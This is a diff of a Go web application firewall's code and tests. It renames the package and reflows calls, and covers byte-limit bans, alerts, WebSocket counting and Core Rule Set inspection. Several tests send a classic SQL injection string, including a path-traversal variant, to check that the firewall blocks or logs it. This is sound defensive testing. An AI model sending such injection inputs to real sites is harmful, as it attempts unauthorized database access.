t.Errorf( t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
"the ban's reason is %q, want %q",
held[0].Reason,
tc.reason,
)
} }
wantPercent(t, "the notes' limit_percent", notes.LimitPercent, wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
@@ -486,21 +423,12 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 { if len(waiting) != 1 {
t.Fatalf( t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
"%d alerts wait, want the ban's alone: %+v",
len(waiting),
waiting,
)
} }
alerted, _ := waiting[0].Detail["notes"].(bans.Notes) alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
wantPercent( wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
t, alerted.LimitPercentSetting, tc.want)
"the alert's notes' limit_percent",
alerted.LimitPercent,
alerted.LimitPercentSetting,
tc.want,
)
}) })
} }
} }
@@ -509,7 +437,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
// clock. // clock.
func startWithLookups( func startWithLookups(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *waf.Server, *alerts.Queue) { ) (*sender, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
s, _, server, queue := startWithLookupsAndClock(t, env) s, _, server, queue := startWithLookupsAndClock(t, env)
@@ -524,7 +452,7 @@ func startWithLookups(
// country, and no other address. // country, and no other address.
func startWithLookupsAndClock( func startWithLookupsAndClock(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
@@ -534,10 +462,7 @@ func startWithLookupsAndClock(
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"}, noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
}) })
settings := map[string]string{ settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
lookupSource: fileSource,
lookupDBPath: path,
}
maps.Copy(settings, env) maps.Copy(settings, env)
return startAppWithAlerts(t, readAndAnswer, settings) return startAppWithAlerts(t, readAndAnswer, settings)
@@ -547,15 +472,8 @@ func startWithLookupsAndClock(
func (s *sender) uploadFrom(from string) logLine { func (s *sender) uploadFrom(from string) logLine {
s.t.Helper() s.t.Helper()
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
http.MethodPost, http.StatusOK, requestlog.ActionForward)
from,
"/",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
return line return line
} }
@@ -564,12 +482,12 @@ func (s *sender) uploadFrom(from string) logLine {
// straight to server's handler, without the network, and returns once it is // straight to server's handler, without the network, and returns once it is
// answered. // answered.
func serveFromDE( func serveFromDE(
t *testing.T, server *waf.Server, method string, body io.Reader, t *testing.T, server *discriminator.Server, method string, body io.Reader,
) { ) {
t.Helper() t.Helper()
req := httptest.NewRequestWithContext(t.Context(), method, "/", body) req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
req.Header.Set(waf.ClientHeader, fromDE) req.Header.Set(discriminator.ClientHeader, fromDE)
req.Header.Set(requestIDHeader, "the-id") req.Header.Set(requestIDHeader, "the-id")
server.Handler.ServeHTTP(httptest.NewRecorder(), req) server.Handler.ServeHTTP(httptest.NewRecorder(), req)
@@ -578,12 +496,7 @@ func serveFromDE(
// wantPercent checks a limit percentage that a log line or a ban's notes // wantPercent checks a limit percentage that a log line or a ban's notes
// give, what, and the setting that gave it, against want, as percentText // give, what, and the setting that gave it, against want, as percentText
// gives them. // gives them.
func wantPercent( func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
t *testing.T,
what string,
percent *int64,
setting, want string,
) {
t.Helper() t.Helper()
if got := percentText(percent, setting); got != want { if got := percentText(percent, setting); got != want {
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists // The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
// through the reputation lists. // through the reputation lists.
@@ -18,11 +18,7 @@ type blocklists struct{}
func (blocklists) name() string { return "blocklists" } func (blocklists) name() string { return "blocklists" }
func (blocklists) check( func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
listedBy := rq.h.lists.ListedBy(rq.client) listedBy := rq.h.lists.ListedBy(rq.client)
rq.blocklisted = len(listedBy) > 0 rq.blocklisted = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a blocklist") rq.noteListed(listedBy, "listed by a blocklist")
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits // The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
// and biased thresholds through the limiter and limitPercentages. // and biased thresholds through the limiter and limitPercentages.
@@ -20,21 +20,13 @@ type byteLimits struct{}
func (byteLimits) name() string { return "byte_limits" } func (byteLimits) name() string { return "byte_limits" }
func (byteLimits) check( func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
if !rq.counted || rq.line.WouldAction != "" { if !rq.counted || rq.line.WouldAction != "" {
return nil return nil
} }
counts, hit, over := rq.h.limiter.CountBytes( counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.h.clientGroup(rq.client), rq.countedBytes(), rq.bytesLimitPercent.percent)
now,
rq.countedBytes(),
rq.bytesLimitPercent.percent,
)
rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes rq.line.Counts.HourBytes = counts.HourBytes
rq.line.Counts.DayBytes = counts.DayBytes rq.line.Counts.DayBytes = counts.DayBytes
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -67,11 +67,8 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
// 70 bytes are within the limit of 99. // 70 bytes are within the limit of 99.
line, _ := s.download() line, _ := s.download()
if line.LimitHit != "" || line.Offence != "" { if line.LimitHit != "" || line.Offence != "" {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want neither",
"log line has limit_hit %q and offence %q, want neither", line.LimitHit, line.Offence)
line.LimitHit,
line.Offence,
)
} }
// 140 bytes are over it. The response is passed on whole, and // 140 bytes are over it. The response is passed on whole, and
@@ -82,35 +79,18 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
line, got := s.download() line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || if got.err != nil || len(got.body) != answerBytes ||
line.ResponseBytes != answerBytes { line.ResponseBytes != answerBytes {
t.Errorf( t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
"got %d bytes (%v), and the log line has response_bytes %d, "+ "want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
"want %d",
len(got.body),
got.err,
line.ResponseBytes,
answerBytes,
)
} }
if line.LimitHit != tc.window+"_bytes" || if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want %s_bytes, limit and %s", line.LimitHit, line.Offence,
"want %s_bytes, limit and %s", line.BanExpires, tc.window, expires)
line.LimitHit,
line.Offence,
line.BanExpires,
tc.window,
expires,
)
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+ wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1) `instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
@@ -121,10 +101,7 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) { func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers( s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
t,
map[string]string{bytesLimitPerMinute: byteLimit},
)
line, _ := s.download() line, _ := s.download()
wantAfterAnswerHeuristic(t, line, "", "null") wantAfterAnswerHeuristic(t, line, "", "null")
@@ -143,16 +120,9 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
// The answer's 70 bytes are over the limit of 50 on their own. // The answer's 70 bytes are over the limit of 50 on their own.
line, got := s.download() line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
line.LimitHit != minuteBytes { t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
t.Errorf( len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
"got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
len(got.body),
got.err,
line.LimitHit,
answerBytes,
minuteBytes,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -168,27 +138,13 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
// The 70 bytes passed on before the app broke off are over the limit of // The 70 bytes passed on before the app broke off are over the limit of
// 50, and ban the client for an hour. // 50, and ban the client for an hour.
line, got := s.requestWithBody( line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
http.MethodGet, requestlog.ActionForward)
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
if len(got.body) != answerBytes || line.LimitHit != minuteBytes || if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
"got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+ "want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
"want %d, %s and %s", answerBytes, minuteBytes, expires)
len(got.body),
line.LimitHit,
line.BanExpires,
answerBytes,
minuteBytes,
expires,
)
} }
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -208,33 +164,19 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _, _ := startAppWithAlerts( s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
t,
answerAfterUpgrade,
map[string]string{
bytesLimitPerMinute: "29", bytesCount: tc.setting, bytesLimitPerMinute: "29", bytesCount: tc.setting,
}, })
)
// The client sends 30 bytes and the app 70, each over the limit // The client sends 30 bytes and the app 70, each over the limit
// of 29, which bans the client once the WebSocket has closed. // of 29, which bans the client once the WebSocket has closed.
line := s.webSocket() line := s.webSocket()
if line.LimitHit != minuteBytes || if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
line.Counts.MinuteBytes != tc.counted { t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
t.Errorf( line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
"log line has limit_hit %q and minute_bytes %v, want %s and %v",
line.LimitHit,
line.Counts.MinuteBytes,
minuteBytes,
tc.counted,
)
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}) })
} }
} }
@@ -269,25 +211,14 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
} }
counted := float64(i) * tc.each counted := float64(i) * tc.each
if line.LimitHit != want || if line.LimitHit != want || line.Counts.MinuteBytes != counted {
line.Counts.MinuteBytes != counted { t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
t.Errorf( "want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
"request %d: log line has limit_hit %q and minute_bytes %v, "+ want, counted)
"want %q and %v",
i,
line.LimitHit,
line.Counts.MinuteBytes,
want,
counted,
)
} }
} }
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
}) })
} }
} }
@@ -312,24 +243,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"}, {allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
} { } {
for range 2 { for range 2 {
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
http.MethodPost, uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
sent.from, if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
sent.path, t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
uploadHeader, sent.from, sent.path, line.fields["counts"], line.LimitHit)
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
if _, counted := line.fields["counts"]; counted ||
line.LimitHit != "" {
t.Errorf(
"%s %s: log line has counts %v and limit_hit %q, want neither",
sent.from,
sent.path,
line.fields["counts"],
line.LimitHit,
)
} }
} }
} }
@@ -337,11 +255,7 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
// A path that is not exempt is counted, and breaks the limit. // A path that is not exempt is counted, and breaks the limit.
line := s.upload() line := s.upload()
if line.LimitHit != minuteBytes { if line.LimitHit != minuteBytes {
t.Errorf( t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
} }
} }
@@ -358,14 +272,9 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
counted := float64(i * (bodyBytes + answerBytes)) counted := float64(i * (bodyBytes + answerBytes))
if line.LimitHit != "" || line.Counts.MinuteBytes != counted || if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
line.Counts.HourBytes != counted || line.Counts.DayBytes != counted { line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
t.Errorf( t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
"request %d: log line has limit_hit %q and counts %+v, "+ "want none and %v bytes in each window", i, line.LimitHit,
"want none and %v bytes in each window", line.Counts, counted)
i,
line.LimitHit,
line.Counts,
counted,
)
} }
} }
} }
@@ -373,24 +282,13 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) { func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startAppWithAlerts( s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
t,
readAndAnswer,
map[string]string{
bytesLimitPerMinute: byteLimit, bytesLimitPerMinute: byteLimit,
}, })
)
start := clk.Now() start := clk.Now()
s.requestWithBody( s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
http.MethodPost, uploadBody, http.StatusOK, requestlog.ActionForward)
client,
"/upload?part=1",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{ want := bans.Ban{
@@ -433,14 +331,10 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) { func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server, queue := startAppWithAlerts( s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
t,
readAndAnswer,
map[string]string{
mode: observe, mode: observe,
bytesLimitPerMinute: byteLimit, bytesLimitPerMinute: byteLimit,
}, })
)
start := clk.Now() start := clk.Now()
// No ban sets the client's counters back to zero, so each request // No ban sets the client's counters back to zero, so each request
@@ -450,17 +344,11 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
line := s.upload() line := s.upload()
wantWouldAction(t, line, "") wantWouldAction(t, line, "")
if line.LimitHit != minuteBytes || if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" { line.BanExpires != "" {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires,
"want %s, limit and none", minuteBytes)
line.LimitHit,
line.Offence,
line.BanExpires,
minuteBytes,
)
} }
} }
@@ -475,18 +363,14 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) {
notes, _ := waiting[0].Detail["notes"].(bans.Notes) notes, _ := waiting[0].Detail["notes"].(bans.Notes)
alert := banAlert(alerts.EventBan, start, client, bans.Ban{ alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes, Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour))) }, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
wantAlerts(t, queue, alert) wantAlerts(t, queue, alert)
} }
func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses( func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
@@ -504,14 +388,9 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(
line := s.upload() line := s.upload()
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes {
line.Counts.MinuteBytes != bodyBytes+answerBytes { t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d",
t.Errorf( line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes)
"log line has limit_hit %q and minute_bytes %v, want minute and %d",
line.LimitHit,
line.Counts.MinuteBytes,
bodyBytes+answerBytes,
)
} }
} }
@@ -561,9 +440,7 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
return return
} }
_, _ = buffered.WriteString( _, _ = buffered.WriteString(strings.Repeat("a", answerBytes-1) + "\n")
strings.Repeat("a", answerBytes-1) + "\n",
)
_ = buffered.Flush() _ = buffered.Flush()
} }
} }
@@ -593,12 +470,8 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
s.t.Helper() s.t.Helper()
conn := dial(s.t, s.addr) conn := dial(s.t, s.addr)
send( send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
s.t, ": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
conn,
"GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+
": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n",
)
err := conn.SetReadDeadline(time.Now().Add(waitLimit)) err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil { if err != nil {
@@ -615,11 +488,7 @@ func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) {
_ = res.Body.Close() _ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols { if res.StatusCode != http.StatusSwitchingProtocols {
s.t.Fatalf( s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
"status %d, want %d",
res.StatusCode,
http.StatusSwitchingProtocols,
)
} }
return conn, reader return conn, reader
@@ -634,22 +503,14 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
line := s.out.endedLines(s.t, s.sent+1)[s.sent] line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++ s.sent++
wantLine( wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
s.t,
line,
http.StatusSwitchingProtocols,
requestlog.ActionForward,
)
return line return line
} }
// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a // startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a
// test that looks at neither the server nor the alerts. // test that looks at neither the server nor the alerts.
func startWithAnswers( func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) {
t *testing.T,
env map[string]string,
) (*sender, *clock) {
t.Helper() t.Helper()
s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env) s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env)
@@ -663,15 +524,8 @@ func startWithAnswers(
func (s *sender) download() (logLine, answer) { func (s *sender) download() (logLine, answer) {
s.t.Helper() s.t.Helper()
return s.requestWithBody( return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
http.MethodGet, requestlog.ActionForward)
client,
"/",
"",
"",
http.StatusOK,
requestlog.ActionForward,
)
} }
// upload is download for a POST request with a body of bodyBytes, and // upload is download for a POST request with a body of bodyBytes, and
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"crypto/rand" "crypto/rand"
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS // The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
// and SWW_WAF_ANOMALY_THRESHOLD. // and SWW_WAF_ANOMALY_THRESHOLD.
@@ -25,14 +25,9 @@ type coreRuleSet struct{}
func (coreRuleSet) name() string { return "core_rule_set" } func (coreRuleSet) name() string { return "core_rule_set" }
func (coreRuleSet) check( func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
cfg := rq.h.config cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil return nil
} }
@@ -43,9 +38,7 @@ func (coreRuleSet) check(
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body) result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
rq.requestBytes = int64(len(read)) rq.requestBytes = int64(len(read))
rq.line.DurationCoreRuleSetMS = new( rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
requestlog.Milliseconds(time.Since(start)),
)
rq.line.CoreRuleSetRuleIDs = result.RuleIDs rq.line.CoreRuleSetRuleIDs = result.RuleIDs
rq.line.CoreRuleSetScore = &result.Score rq.line.CoreRuleSetScore = &result.Score
@@ -69,10 +62,7 @@ func (coreRuleSet) check(
return &verdict{ return &verdict{
action: requestlog.ActionBlockedByCoreRuleSet, action: requestlog.ActionBlockedByCoreRuleSet,
figures: map[string]any{ figures: map[string]any{figureScore: result.Score, "threshold": threshold},
figureScore: result.Score,
"threshold": threshold,
},
} }
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"io" "io"
@@ -44,12 +44,7 @@ const sqlInjection = "/?id=1'%20OR%20'1'='1"
// core_rule_set_score, and that it has duration_core_rule_set_ms, or with no // core_rule_set_score, and that it has duration_core_rule_set_ms, or with no
// score, that it has none of the three: the Core Rule Set did not inspect the // score, that it has none of the three: the Core Rule Set did not inspect the
// request. // request.
func wantCoreRuleSet( func wantCoreRuleSet(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t *testing.T,
line logLine,
score *int,
ruleIDs ...int,
) {
t.Helper() t.Helper()
if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) { if !slices.Equal(line.CoreRuleSetRuleIDs, ruleIDs) {
@@ -60,12 +55,9 @@ func wantCoreRuleSet(
switch { switch {
case score == nil && case score == nil &&
(line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil): (line.CoreRuleSetScore != nil || line.DurationCoreRuleSetMS != nil):
t.Errorf( t.Errorf("log line has core_rule_set_score %v and "+
"log line has core_rule_set_score %v and "+
"duration_core_rule_set_ms %v, want neither", "duration_core_rule_set_ms %v, want neither",
line.fields["core_rule_set_score"], line.fields["core_rule_set_score"], line.fields["duration_core_rule_set_ms"])
line.fields["duration_core_rule_set_ms"],
)
case score != nil && case score != nil &&
(line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score): (line.CoreRuleSetScore == nil || *line.CoreRuleSetScore != *score):
t.Errorf("log line has core_rule_set_score %v, want %d", t.Errorf("log line has core_rule_set_score %v, want %d",
@@ -90,21 +82,11 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
t,
"",
map[string]string{wafMode: tc.mode},
)
wantTags( wantTags(t, s.request(client, sqlInjection, tc.status, tc.action),
t, "exploitsignature")
s.request(client, sqlInjection, tc.status, tc.action), wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
"exploitsignature",
)
wantTags(
t,
s.get(client, http.StatusOK, requestlog.ActionForward),
)
}) })
} }
} }
@@ -121,9 +103,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`) wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
} }
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode( func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, attack := range []struct { for _, attack := range []struct {
@@ -162,19 +142,10 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden}, {block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK}, {detect, requestlog.ActionForward, http.StatusOK},
} { } {
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
t,
"",
map[string]string{wafMode: tc.mode},
)
line := s.requestWithHeader( line := s.requestWithHeader(client, attack.path, attack.header,
client, tc.status, tc.action)
attack.path,
attack.header,
tc.status,
tc.action,
)
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...) wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
} }
}) })
@@ -196,12 +167,8 @@ func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block}) s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request( line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
client, http.StatusOK, requestlog.ActionForward)
"/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
} }
@@ -221,48 +188,26 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS // A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
// exempts, are not inspected. // exempts, are not inspected.
line := s.request( line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
allowed,
sqlInjection,
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
line = s.request( line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
client, requestlog.ActionForward)
"/api/v1/repos?id=1'%20OR%20'1'='1",
http.StatusOK,
requestlog.ActionForward,
)
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that // The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected. // goes up and out of it is inspected.
line = s.request( line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
client, requestlog.ActionBlockedByCoreRuleSet)
"/api/../?id=1'%20OR%20'1'='1",
http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet,
)
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100) wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected. // A request a rule file refuses is not inspected.
